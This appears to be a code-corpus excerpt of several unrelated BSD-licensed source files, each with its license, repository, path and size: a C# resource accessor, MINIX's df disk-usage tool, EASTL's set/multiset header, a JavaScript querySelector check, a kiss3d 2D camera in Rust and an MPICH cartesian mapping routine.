[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Map_Tool.Map", typeof(Map).Assembly); resourceMan = temp; } return resourceMan; } } /// <summary> /// Overrides the current thread's CurrentUICulture property for all /// resource lookups using this strongly typed resource class. /// </summary> [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } internal static System.Drawing.Bitmap cur { get { object obj = ResourceManager.GetObject("cur", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } } }
bsd-3-clause
macminix/MacMinix
src/commands/df.c
4834
/* df - disk free block printout Author: Andy Tanenbaum */ #include <sys/types.h> #include <sys/stat.h> #include <limits.h> #include <fcntl.h> #include <errno.h> #include <unistd.h> #include <stdio.h> #include <minix/config.h> #include <minix/const.h> #include <minix/type.h> #include "../fs/const.h" #include "../fs/type.h" #include "../fs/super.h" #define block_nr long /* Allow big devices even if FS doesn't */ extern int errno; long bit_count(); char *mtab = "/etc/mtab"; #define REPORT 0 #define SILENT 1 main(argc, argv) int argc; char *argv[]; { register int i; sync(); /* have to make sure disk is up-to-date */ fprintf(stdout, "\nDevice Inodes Inodes Inodes Blocks Blocks Blocks "); if (argc == 1) fprintf(stdout, "Mounted on\n"); else fprintf(stdout, "\n"); fprintf(stdout, " total used free total used free\n"); fprintf(stdout, " ----- ----- ----- ----- ----- -----\n"); if (argc == 1) defaults(); for (i = 1; i < argc; i++) df(argv[i], "", SILENT); exit(0); } #define percent(num, tot) ((int) ((100L * (num) + ((tot) - 1)) / (tot))) df(name, mnton, silent) char *name, *mnton; int silent; { register int fd; ino_t i_count; long z_count; block_nr totblocks, busyblocks; int i, j; char buf[BLOCK_SIZE], *s0; struct super_block super, *sp; if ((fd = open(name, O_RDONLY)) < 0) { if (!silent) { int e = errno; fprintf(stderr, "df: "); errno = e; perror(name); } return; } lseek(fd, (long) BLOCK_SIZE, SEEK_SET); /* skip boot block */ if (read(fd, (char *) &super, SUPER_SIZE) != (int) SUPER_SIZE) { fprintf(stderr, "df: Can't read super block of %s\n", name); close(fd); return; } lseek(fd, (long) BLOCK_SIZE * 2L, SEEK_SET); /* skip rest of super block */ sp = &super; if (sp->s_magic != SUPER_MAGIC) { fprintf(stderr, "df: %s: Not a valid file system\n", name); close(fd); return; } i_count = (ino_t) bit_count(sp->s_imap_blocks, sp->s_ninodes + 1, fd); if (i_count == -1) { fprintf(stderr, "df: Can't find bit maps of %s\n", name); close(fd); return; } i_count--; /* There is no inode 0. */ z_count = bit_count(sp->s_zmap_blocks, sp->s_nzones, fd); if (z_count == -1) { fprintf(stderr, "df: Can't find bit maps of %s\n", name); close(fd); return; } totblocks = (block_nr) sp->s_nzones << sp->s_log_zone_size; busyblocks = (block_nr) z_count << sp->s_log_zone_size; /* Print results. */ fprintf(stdout, "%s", name); j = 10 - strlen(name); while (j > 0) { fprintf(stdout, " "); j--; } fprintf(stdout, " %5u %5u %5u %7ld %7ld %7ld %s\n", sp->s_ninodes, /* total inodes */ i_count, /* inodes used */ sp->s_ninodes - i_count,/* inodes free */ totblocks, /* total blocks */ busyblocks, /* blocks used */ totblocks - busyblocks, /* blocsk free */ strcmp(mnton, "device") == 0 ? "(root dev)" : mnton ); close(fd); } long bit_count(blocks, bits, fd) unsigned blocks; unsigned bits; int fd; { register char *wptr; register int i; register int b; register unsigned busy; /* bits fits in unsigned, so busy does too */ register char *wlim; register int j; static char buf[BLOCK_SIZE]; static unsigned bits_in_char[1 << CHAR_BIT]; /* Precalculate bitcount for each char. */ if (bits_in_char[1] != 1) { for (b = (1 << 0); b < (1 << CHAR_BIT); b <<= 1) for (i = 0; i < (1 << CHAR_BIT); i++) if (i & b) bits_in_char[i]++; } /* Loop on blocks, reading one at a time and counting bits. */ busy = 0; for (i = 0; i < blocks && bits != 0; i++) { if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) return(-1); wptr = &buf[0]; if (bits >= CHAR_BIT * BLOCK_SIZE) { wlim = &buf[BLOCK_SIZE]; bits -= CHAR_BIT * BLOCK_SIZE; } else { b = bits / CHAR_BIT; /* whole chars in map */ wlim = &buf[b]; bits -= b * CHAR_BIT; /* bits in last char, if any */ b = *wlim & ((1 << bits) - 1); /* bit pattern from last ch */ busy += bits_in_char[b]; bits = 0; } /* Loop on the chars of a block. */ while (wptr != wlim) busy += bits_in_char[*wptr++ & ((1 << CHAR_BIT) - 1)]; } return(busy); } char mtabbuf[1024]; int mtabcnt; getname(d, m) char **d, **m; { int c; static char *mp = mtabbuf; *d = mp; *m = ""; do { if (--mtabcnt < 0) exit(0); c = *mp++; if (c == ' ') { mp[-1] = 0; *m = mp; } } while (c != '\n'); mp[-1] = 0; } defaults() { /* Use the root file system and all mounted file systems. */ char *dev, *dir; close(0); if (open(mtab, O_RDONLY) < 0 || (mtabcnt = read(0, mtabbuf, sizeof(mtabbuf))) <= 0) { fprintf(stderr, "df: cannot read %s\n", mtab); exit(1); } /* Read /etc/mtab and iterate on the lines. */ while (1) { getname(&dev, &dir); /* getname exits upon hitting EOF */ df(dev, dir, REPORT); } }
bsd-3-clause
kitsilanosoftware/EASTL
include/EASTL/set.h
22613
/* Copyright (C) 2009,2010,2012 Electronic Arts, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of Electronic Arts, Inc. ("EA") nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY ELECTRONIC ARTS AND ITS CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL ELECTRONIC ARTS OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef EASTL_SET_H #define EASTL_SET_H #include <EASTL/internal/config.h> #include <EASTL/internal/red_black_tree.h> #include <EASTL/functional.h> #include <EASTL/utility.h> #if defined(EA_PRAGMA_ONCE_SUPPORTED) #pragma once // Some compilers (e.g. VC++) benefit significantly from using this. We've measured 3-4% build speed improvements in apps as a result. #endif namespace eastl { /// EASTL_SET_DEFAULT_NAME /// /// Defines a default container name in the absence of a user-provided name. /// #ifndef EASTL_SET_DEFAULT_NAME #define EASTL_SET_DEFAULT_NAME EASTL_DEFAULT_NAME_PREFIX " set" // Unless the user overrides something, this is "EASTL set". #endif /// EASTL_MULTISET_DEFAULT_NAME /// /// Defines a default container name in the absence of a user-provided name. /// #ifndef EASTL_MULTISET_DEFAULT_NAME #define EASTL_MULTISET_DEFAULT_NAME EASTL_DEFAULT_NAME_PREFIX " multiset" // Unless the user overrides something, this is "EASTL multiset". #endif /// EASTL_SET_DEFAULT_ALLOCATOR /// #ifndef EASTL_SET_DEFAULT_ALLOCATOR #define EASTL_SET_DEFAULT_ALLOCATOR allocator_type(EASTL_SET_DEFAULT_NAME) #endif /// EASTL_MULTISET_DEFAULT_ALLOCATOR /// #ifndef EASTL_MULTISET_DEFAULT_ALLOCATOR #define EASTL_MULTISET_DEFAULT_ALLOCATOR allocator_type(EASTL_MULTISET_DEFAULT_NAME) #endif /// set /// /// Implements a canonical set. /// /// The large majority of the implementation of this class is found in the rbtree /// base class. We control the behaviour of rbtree via template parameters. /// /// Note that the 'bMutableIterators' template parameter to rbtree is set to false. /// This means that set::iterator is const and the same as set::const_iterator. /// This is by design and it follows the C++ standard defect report recommendation. /// If the user wants to modify a container element, the user needs to either use /// mutable data members or use const_cast on the iterator's data member. Both of /// these solutions are recommended by the C++ standard defect report. /// To consider: Expose the bMutableIterators template policy here at the set level /// so the user can have non-const set iterators via a template parameter. /// /// Pool allocation /// If you want to make a custom memory pool for a set container, your pool /// needs to contain items of type set::node_type. So if you have a memory /// pool that has a constructor that takes the size of pool items and the /// count of pool items, you would do this (assuming that MemoryPool implements /// the Allocator interface): /// typedef set<Widget, less<Widget>, MemoryPool> WidgetSet; // Delare your WidgetSet type. /// MemoryPool myPool(sizeof(WidgetSet::node_type), 100); // Make a pool of 100 Widget nodes. /// WidgetSet mySet(&myPool); // Create a map that uses the pool. /// template <typename Key, typename Compare = eastl::less<Key>, typename Allocator = EASTLAllocatorType> class set : public rbtree<Key, Key, Compare, Allocator, eastl::use_self<Key>, false, true> { public: typedef rbtree<Key, Key, Compare, Allocator, eastl::use_self<Key>, false, true> base_type; typedef set<Key, Compare, Allocator> this_type; typedef typename base_type::size_type size_type; typedef typename base_type::value_type value_type; typedef typename base_type::iterator iterator; typedef typename base_type::const_iterator const_iterator; typedef typename base_type::reverse_iterator reverse_iterator; typedef typename base_type::const_reverse_iterator const_reverse_iterator; typedef typename base_type::allocator_type allocator_type; // Other types are inherited from the base class. using base_type::begin; using base_type::end; using base_type::find; using base_type::lower_bound; using base_type::upper_bound; using base_type::mCompare; public: set(const allocator_type& allocator = EASTL_SET_DEFAULT_ALLOCATOR); set(const Compare& compare, const allocator_type& allocator = EASTL_SET_DEFAULT_ALLOCATOR); set(const this_type& x); template <typename Iterator> set(Iterator itBegin, Iterator itEnd); // allocator arg removed because VC7.1 fails on the default arg. To do: Make a second version of this function without a default arg. public: size_type erase(const Key& k); iterator erase(iterator position); iterator erase(iterator first, iterator last); reverse_iterator erase(reverse_iterator position); reverse_iterator erase(reverse_iterator first, reverse_iterator last); size_type count(const Key& k) const; eastl::pair<iterator, iterator> equal_range(const Key& k); eastl::pair<const_iterator, const_iterator> equal_range(const Key& k) const; }; // set /// multiset /// /// Implements a canonical multiset. /// /// The large majority of the implementation of this class is found in the rbtree /// base class. We control the behaviour of rbtree via template parameters. /// /// See notes above in 'set' regarding multable iterators. /// /// Pool allocation /// If you want to make a custom memory pool for a multiset container, your pool /// needs to contain items of type multiset::node_type. So if you have a memory /// pool that has a constructor that takes the size of pool items and the /// count of pool items, you would do this (assuming that MemoryPool implements /// the Allocator interface): /// typedef multiset<Widget, less<Widget>, MemoryPool> WidgetSet; // Delare your WidgetSet type. /// MemoryPool myPool(sizeof(WidgetSet::node_type), 100); // Make a pool of 100 Widget nodes. /// WidgetSet mySet(&myPool); // Create a map that uses the pool. /// template <typename Key, typename Compare = eastl::less<Key>, typename Allocator = EASTLAllocatorType> class multiset : public rbtree<Key, Key, Compare, Allocator, eastl::use_self<Key>, false, false> { public: typedef rbtree<Key, Key, Compare, Allocator, eastl::use_self<Key>, false, false> base_type; typedef multiset<Key, Compare, Allocator> this_type; typedef typename base_type::size_type size_type; typedef typename base_type::value_type value_type; typedef typename base_type::iterator iterator; typedef typename base_type::const_iterator const_iterator; typedef typename base_type::reverse_iterator reverse_iterator; typedef typename base_type::const_reverse_iterator const_reverse_iterator; typedef typename base_type::allocator_type allocator_type; // Other types are inherited from the base class. using base_type::begin; using base_type::end; using base_type::find; using base_type::lower_bound; using base_type::upper_bound; using base_type::mCompare; public: multiset(const allocator_type& allocator = EASTL_MULTISET_DEFAULT_ALLOCATOR); multiset(const Compare& compare, const allocator_type& allocator = EASTL_MULTISET_DEFAULT_ALLOCATOR); multiset(const this_type& x); template <typename Iterator> multiset(Iterator itBegin, Iterator itEnd); // allocator arg removed because VC7.1 fails on the default arg. To do: Make a second version of this function without a default arg. public: size_type erase(const Key& k); iterator erase(iterator position); iterator erase(iterator first, iterator last); reverse_iterator erase(reverse_iterator position); reverse_iterator erase(reverse_iterator first, reverse_iterator last); size_type count(const Key& k) const; eastl::pair<iterator, iterator> equal_range(const Key& k); eastl::pair<const_iterator, const_iterator> equal_range(const Key& k) const; /// equal_range_small /// This is a special version of equal_range which is optimized for the /// case of there being few or no duplicated keys in the tree. eastl::pair<iterator, iterator> equal_range_small(const Key& k); eastl::pair<const_iterator, const_iterator> equal_range_small(const Key& k) const; }; // multiset /////////////////////////////////////////////////////////////////////// // set /////////////////////////////////////////////////////////////////////// template <typename Key, typename Compare, typename Allocator> inline set<Key, Compare, Allocator>::set(const allocator_type& allocator) : base_type(allocator) { // Empty } template <typename Key, typename Compare, typename Allocator> inline set<Key, Compare, Allocator>::set(const Compare& compare, const allocator_type& allocator) : base_type(compare, allocator) { // Empty } template <typename Key, typename Compare, typename Allocator> inline set<Key, Compare, Allocator>::set(const this_type& x) : base_type(x) { // Empty } template <typename Key, typename Compare, typename Allocator> template <typename Iterator> inline set<Key, Compare, Allocator>::set(Iterator itBegin, Iterator itEnd) : base_type(itBegin, itEnd, Compare(), EASTL_SET_DEFAULT_ALLOCATOR) { // Empty } template <typename Key, typename Compare, typename Allocator> inline typename set<Key, Compare, Allocator>::size_type set<Key, Compare, Allocator>::erase(const Key& k) { const iterator it(find(k)); if(it != end()) // If it exists... { base_type::erase(it); return 1; } return 0; } template <typename Key, typename Compare, typename Allocator> inline typename set<Key, Compare, Allocator>::iterator set<Key, Compare, Allocator>::erase(iterator position) { // We need to provide this version because we override another version // and C++ hiding rules would make the base version of this hidden. return base_type::erase(position); } template <typename Key, typename Compare, typename Allocator> inline typename set<Key, Compare, Allocator>::iterator set<Key, Compare, Allocator>::erase(iterator first, iterator last) { // We need to provide this version because we override another version // and C++ hiding rules would make the base version of this hidden. return base_type::erase(first, last); } template <typename Key, typename Compare, typename Allocator> inline typename set<Key, Compare, Allocator>::size_type set<Key, Compare, Allocator>::count(const Key& k) const { const const_iterator it(find(k)); return (it != end()) ? (size_type)1 : (size_type)0; } template <typename Key, typename Compare, typename Allocator> inline typename set<Key, Compare, Allocator>::reverse_iterator set<Key, Compare, Allocator>::erase(reverse_iterator position) { return reverse_iterator(erase((++position).base())); } template <typename Key, typename Compare, typename Allocator> inline typename set<Key, Compare, Allocator>::reverse_iterator set<Key, Compare, Allocator>::erase(reverse_iterator first, reverse_iterator last) { // Version which erases in order from first to last. // difference_type i(first.base() - last.base()); // while(i--) // first = erase(first); // return first; // Version which erases in order from last to first, but is slightly more efficient: return reverse_iterator(erase((++last).base(), (++first).base())); } template <typename Key, typename Compare, typename Allocator> inline eastl::pair<typename set<Key, Compare, Allocator>::iterator, typename set<Key, Compare, Allocator>::iterator> set<Key, Compare, Allocator>::equal_range(const Key& k) { // The resulting range will either be empty or have one element, // so instead of doing two tree searches (one for lower_bound and // one for upper_bound), we do just lower_bound and see if the // result is a range of size zero or one. const iterator itLower(lower_bound(k)); if((itLower == end()) || mCompare(k, *itLower)) // If at the end or if (k is < itLower)... return eastl::pair<iterator, iterator>(itLower, itLower); iterator itUpper(itLower); return eastl::pair<iterator, iterator>(itLower, ++itUpper); } template <typename Key, typename Compare, typename Allocator> inline eastl::pair<typename set<Key, Compare, Allocator>::const_iterator, typename set<Key, Compare, Allocator>::const_iterator> set<Key, Compare, Allocator>::equal_range(const Key& k) const { // See equal_range above for comments. const const_iterator itLower(lower_bound(k)); if((itLower == end()) || mCompare(k, *itLower)) // If at the end or if (k is < itLower)... return eastl::pair<const_iterator, const_iterator>(itLower, itLower); const_iterator itUpper(itLower); return eastl::pair<const_iterator, const_iterator>(itLower, ++itUpper); } /////////////////////////////////////////////////////////////////////// // multiset /////////////////////////////////////////////////////////////////////// template <typename Key, typename Compare, typename Allocator> inline multiset<Key, Compare, Allocator>::multiset(const allocator_type& allocator) : base_type(allocator) { // Empty } template <typename Key, typename Compare, typename Allocator> inline multiset<Key, Compare, Allocator>::multiset(const Compare& compare, const allocator_type& allocator) : base_type(compare, allocator) { // Empty } template <typename Key, typename Compare, typename Allocator> inline multiset<Key, Compare, Allocator>::multiset(const this_type& x) : base_type(x) { // Empty } template <typename Key, typename Compare, typename Allocator> template <typename Iterator> inline multiset<Key, Compare, Allocator>::multiset(Iterator itBegin, Iterator itEnd) : base_type(itBegin, itEnd, Compare(), EASTL_MULTISET_DEFAULT_ALLOCATOR) { // Empty } template <typename Key, typename Compare, typename Allocator> inline typename multiset<Key, Compare, Allocator>::size_type multiset<Key, Compare, Allocator>::erase(const Key& k) { const eastl::pair<iterator, iterator> range(equal_range(k)); const size_type n = (size_type)eastl::distance(range.first, range.second); base_type::erase(range.first, range.second); return n; } template <typename Key, typename Compare, typename Allocator> inline typename multiset<Key, Compare, Allocator>::iterator multiset<Key, Compare, Allocator>::erase(iterator position) { // We need to provide this version because we override another version // and C++ hiding rules would make the base version of this hidden. return base_type::erase(position); } template <typename Key, typename Compare, typename Allocator> inline typename multiset<Key, Compare, Allocator>::iterator multiset<Key, Compare, Allocator>::erase(iterator first, iterator last) { // We need to provide this version because we override another version // and C++ hiding rules would make the base version of this hidden. return base_type::erase(first, last); } template <typename Key, typename Compare, typename Allocator> inline typename multiset<Key, Compare, Allocator>::size_type multiset<Key, Compare, Allocator>::count(const Key& k) const { const eastl::pair<const_iterator, const_iterator> range(equal_range(k)); return (size_type)eastl::distance(range.first, range.second); } template <typename Key, typename Compare, typename Allocator> inline typename multiset<Key, Compare, Allocator>::reverse_iterator multiset<Key, Compare, Allocator>::erase(reverse_iterator position) { return reverse_iterator(erase((++position).base())); } template <typename Key, typename Compare, typename Allocator> inline typename multiset<Key, Compare, Allocator>::reverse_iterator multiset<Key, Compare, Allocator>::erase(reverse_iterator first, reverse_iterator last) { // Version which erases in order from first to last. // difference_type i(first.base() - last.base()); // while(i--) // first = erase(first); // return first; // Version which erases in order from last to first, but is slightly more efficient: return reverse_iterator(erase((++last).base(), (++first).base())); } template <typename Key, typename Compare, typename Allocator> inline eastl::pair<typename multiset<Key, Compare, Allocator>::iterator, typename multiset<Key, Compare, Allocator>::iterator> multiset<Key, Compare, Allocator>::equal_range(const Key& k) { // There are multiple ways to implement equal_range. The implementation mentioned // in the C++ standard and which is used by most (all?) commercial STL implementations // is this: // return eastl::pair<iterator, iterator>(lower_bound(k), upper_bound(k)); // // This does two tree searches -- one for the lower bound and one for the // upper bound. This works well for the case whereby you have a large container // and there are lots of duplicated values. We provide an alternative version // of equal_range called equal_range_small for cases where the user is confident // that the number of duplicated items is only a few. return eastl::pair<iterator, iterator>(lower_bound(k), upper_bound(k)); } template <typename Key, typename Compare, typename Allocator> inline eastl::pair<typename multiset<Key, Compare, Allocator>::const_iterator, typename multiset<Key, Compare, Allocator>::const_iterator> multiset<Key, Compare, Allocator>::equal_range(const Key& k) const { // See comments above in the non-const version of equal_range. return eastl::pair<iterator, iterator>(lower_bound(k), upper_bound(k)); } template <typename Key, typename Compare, typename Allocator> inline eastl::pair<typename multiset<Key, Compare, Allocator>::iterator, typename multiset<Key, Compare, Allocator>::iterator> multiset<Key, Compare, Allocator>::equal_range_small(const Key& k) { // We provide alternative version of equal_range here which works faster // for the case where there are at most small number of potential duplicated keys. const iterator itLower(lower_bound(k)); iterator itUpper(itLower); while((itUpper != end()) && !mCompare(k, itUpper.mpNode->mValue)) ++itUpper; return eastl::pair<iterator, iterator>(itLower, itUpper); } template <typename Key, typename Compare, typename Allocator> inline eastl::pair<typename multiset<Key, Compare, Allocator>::const_iterator, typename multiset<Key, Compare, Allocator>::const_iterator> multiset<Key, Compare, Allocator>::equal_range_small(const Key& k) const { // We provide alternative version of equal_range here which works faster // for the case where there are at most small number of potential duplicated keys. const const_iterator itLower(lower_bound(k)); const_iterator itUpper(itLower); while((itUpper != end()) && !mCompare(k, *itUpper)) ++itUpper; return eastl::pair<const_iterator, const_iterator>(itLower, itUpper); } } // namespace eastl #endif // Header include guard
bsd-3-clause
cinecove/defunctr
lib/checks/hasQuerySelectorCheck.js
201
/* @flow */ 'use strict'; import { document } from '../dom/dom'; export default function () : boolean { return Boolean( (document) && (typeof document.querySelector !== 'undefined') ); }
bsd-3-clause
sebcrozet/kiss3d
src/planar_camera/sidescroll.rs
5701
use crate::event::{Action, MouseButton, WindowEvent}; use crate::planar_camera::PlanarCamera; use crate::resource::ShaderUniform; use crate::window::Canvas; use na::{self, Matrix3, Point2, Translation2, Vector2}; use num::Pow; use std::f32; /// A 2D camera that can be zoomed and panned. #[derive(Clone, Debug)] pub struct Sidescroll { at: Point2<f32>, /// Distance from the camera to the `at` focus point. zoom: f32, /// Increment of the zoomance per unit scrolling. The default value is 40.0. zoom_step: f32, drag_button: Option<MouseButton>, view: Matrix3<f32>, proj: Matrix3<f32>, scaled_proj: Matrix3<f32>, inv_scaled_proj: Matrix3<f32>, last_cursor_pos: Vector2<f32>, } impl Sidescroll { /// Create a new arc-ball camera. pub fn new() -> Sidescroll { let mut res = Sidescroll { at: Point2::origin(), zoom: 1.0, zoom_step: 0.9, drag_button: Some(MouseButton::Button2), view: na::one(), proj: na::one(), scaled_proj: na::one(), inv_scaled_proj: na::one(), last_cursor_pos: na::zero(), }; res.update_projviews(); res } /// The point the arc-ball is looking at. pub fn at(&self) -> Point2<f32> { self.at } /// Get a mutable reference to the point the camera is looking at. pub fn set_at(&mut self, at: Point2<f32>) { self.at = at; self.update_projviews(); } /// Gets the zoom of the camera. pub fn zoom(&self) -> f32 { self.zoom } /// Sets the zoom of the camera. pub fn set_zoom(&mut self, zoom: f32) { self.zoom = zoom; self.update_restrictions(); self.update_projviews(); } /// Move the camera such that it is centered on a specific point. pub fn look_at(&mut self, at: Point2<f32>, zoom: f32) { self.at = at; self.zoom = zoom; self.update_projviews(); } /// Transformation applied by the camera without perspective. fn update_restrictions(&mut self) { if self.zoom < 0.00001 { self.zoom = 0.00001 } } /// The button used to drag the Sidescroll camera. pub fn drag_button(&self) -> Option<MouseButton> { self.drag_button } /// Set the button used to drag the Sidescroll camera. /// Use None to disable dragging. pub fn rebind_drag_button(&mut self, new_button: Option<MouseButton>) { self.drag_button = new_button; } /// Move the camera based on drag from right mouse button /// `dpos` is assumed to be in window space so the y-axis is flipped fn handle_right_button_displacement(&mut self, dpos: &Vector2<f32>) { self.at.x -= dpos.x / self.zoom; self.at.y += dpos.y / self.zoom; self.update_projviews(); } fn handle_scroll(&mut self, off: f32) { self.zoom /= self.zoom_step.pow(off / 120.0); self.update_restrictions(); self.update_projviews(); } fn update_projviews(&mut self) { self.view = Translation2::new(-self.at.x, -self.at.y).to_homogeneous(); self.scaled_proj = self.proj; self.scaled_proj.m11 *= self.zoom; self.scaled_proj.m22 *= self.zoom; self.inv_scaled_proj.m11 = 1.0 / self.scaled_proj.m11; self.inv_scaled_proj.m22 = 1.0 / self.scaled_proj.m22; } } impl PlanarCamera for Sidescroll { fn handle_event(&mut self, canvas: &Canvas, event: &WindowEvent) { let scale = 1.0; // canvas.scale_factor(); match *event { WindowEvent::CursorPos(x, y, _) => { let curr_pos = Vector2::new(x as f32, y as f32); if let Some(drag_button) = self.drag_button { if canvas.get_mouse_button(drag_button) == Action::Press { let dpos = curr_pos - self.last_cursor_pos; self.handle_right_button_displacement(&dpos) } } self.last_cursor_pos = curr_pos; } WindowEvent::Scroll(_, off, _) => self.handle_scroll(off as f32), WindowEvent::FramebufferSize(w, h) => { self.proj = Matrix3::new( 2.0 * (scale as f32) / (w as f32), 0.0, 0.0, 0.0, 2.0 * (scale as f32) / (h as f32), 0.0, 0.0, 0.0, 1.0, ); self.update_projviews(); } _ => {} } } #[inline] fn upload( &self, proj: &mut ShaderUniform<Matrix3<f32>>, view: &mut ShaderUniform<Matrix3<f32>>, ) { proj.upload(&self.scaled_proj); view.upload(&self.view); } fn update(&mut self, _: &Canvas) {} /// Calculate the global position of the given window coordinate fn unproject(&self, window_coord: &Point2<f32>, size: &Vector2<f32>) -> Point2<f32> { // Convert window coordinates (origin at top left) to normalized screen coordinates // (origin at the center of the screen) let normalized_coords = Point2::new( 2.0 * window_coord.x / size.x - 1.0, 2.0 * -window_coord.y / size.y + 1.0, ); // Project normalized screen coordinate to screen space let unprojected_hom = self.inv_scaled_proj * normalized_coords.to_homogeneous(); // Convert from screen space to global space Point2::from_homogeneous(unprojected_hom).unwrap() + self.at.coords } }
bsd-3-clause
gnu3ra/SCC15HPCRepast
INSTALLATION/mpich2-1.4.1p1/src/mpid/dcmfd/src/comm/topo/mpidi_cart_map_nofold.c
4533
/* (C)Copyright IBM Corp. 2007, 2008 */ /** * \file src/comm/topo/mpidi_cart_map_nofold.c * \brief ??? */ #include "mpid_topo.h" static int try_permute_match( int *vir_cart, int *phy_cart, int nd_sort, int vir_perm[], int phy_perm[] ) { int nomatch, i; /* sort the dimensions of both cart in decreasing order, keeps order in _perm arrays */ MPIDI_Cart_dims_sort( nd_sort, vir_cart, vir_perm ); MPIDI_Cart_dims_sort( nd_sort, phy_cart, phy_perm ); nomatch = 0; for (i=0; i<nd_sort; i++) { if (vir_cart[vir_perm[i]] > phy_cart[phy_perm[i]]) { nomatch = 1; break; } } return nomatch; } /* non-1D exact match: 1. when req and phy are both 4D: permut-match. 2. phy is 4D and req is 2D or 3D: find a req dimension to embed the T dimension. Then do a permute-match excluding T in both req and phy dimensions. 3. phy is 3D and req is 2D or 3D: permute-match with req empty dimension (if exists) filled with 1. */ int MPIDI_Cart_map_nofold( MPIDI_VirtualCart *vir_cart, MPIDI_PhysicalCart *phy_cart, int *newrank ) { int phy_perm[DCMF_CART_MAX_NDIMS]; int vir_perm[DCMF_CART_MAX_NDIMS]; int thedim = -1; int i, rcoord[DCMF_CART_MAX_NDIMS]; int permute_match; int notdone = 1; if (vir_cart->ndims <= 3 && phy_cart->ndims == 4) { for (i=vir_cart->ndims; i<DCMF_CART_MAX_NDIMS; i++) rcoord[i] = 0; notdone = 1; /* look for an exact inclusion */ if (vir_cart->size < phy_cart->size) { if( try_permute_match( vir_cart->dims, phy_cart->dims, phy_cart->ndims, vir_perm, phy_perm ) ) { } else { /* permute the 4 coordinates */ for (i=0; i<phy_cart->ndims; i++) rcoord[ vir_perm[i] ] = phy_cart->coord[ phy_perm[i] ] - phy_cart->start[ phy_perm[i] ]; notdone = 0; } } if (notdone) { /* now try embed T into requested dimensions */ int orig_dim; for (i=phy_cart->ndims-1; i>=1; i--) { orig_dim = phy_cart->dims[i]; phy_cart->dims[i] *= phy_cart->dims[0]; permute_match = try_permute_match( vir_cart->dims, phy_cart->dims+1, vir_cart->ndims, vir_perm, phy_perm ); phy_cart->dims[i] = orig_dim; if (!permute_match) break; } --i; if (i < 0) return 1; /* the dimension that contains the T */ thedim = i; /* permute the 3 coordinates */ { int temp[DCMF_CART_MAX_NDIMS]; for (i=0; i<vir_cart->ndims; i++) temp[ i ] = phy_cart->coord[ i+1 ] - phy_cart->start[ i+1 ]; /* fill the T dimension in here */ temp[ thedim ] = temp[ thedim ] * phy_cart->dims[0] + (phy_cart->coord[0] - phy_cart->start[0]); for (i=0; i<vir_cart->ndims; i++) rcoord[ vir_perm[i] ] = temp[ phy_perm[i] ]; } } } else if (vir_cart->ndims == 4 && phy_cart->ndims ==4) { if( try_permute_match( vir_cart->dims, phy_cart->dims, phy_cart->ndims, vir_perm, phy_perm ) ) return 1; /* permute the 4 coordinates */ for (i=0; i<phy_cart->ndims; i++) rcoord[ vir_perm[i] ] = phy_cart->coord[ phy_perm[i] ] - phy_cart->start[ phy_perm[i] ]; } else if (vir_cart->ndims <= 3 && phy_cart->ndims == 3) { for (i=vir_cart->ndims; i<DCMF_CART_MAX_NDIMS; i++) rcoord[i] = 0; if( try_permute_match( vir_cart->dims, phy_cart->dims, 3, vir_perm, phy_perm ) ) return 1; /* permute the 3 coordinates */ for (i=0; i<phy_cart->ndims; i++) rcoord[ vir_perm[i] ] = phy_cart->coord[ phy_perm[i] ] - phy_cart->start[ phy_perm[i] ]; } else return 1; MPIDI_Cart_map_coord_to_rank( vir_cart->size, 4, vir_cart->dims, rcoord, newrank ); #if 0 printf( "<" ); for (i=0;i<phy_cart->ndims;i++) { printf( "%d/%d", phy_cart->coord[i], phy_cart->dims[i] ); if (i != phy_cart->ndims-1) printf( "," ); } printf( "> to <" ); for (i=0;i<vir_cart->ndims;i++) { printf( "%d/%d", rcoord[i], vir_cart->dims[i] ); if (i != phy_cart->ndims-1) printf( "," ); } printf( ">, r=%d\n", *newrank ); #endif return 0; }
bsd-3-clause
babagay/razzd
backend/models/TaxonomyItemsSearch.php
1352
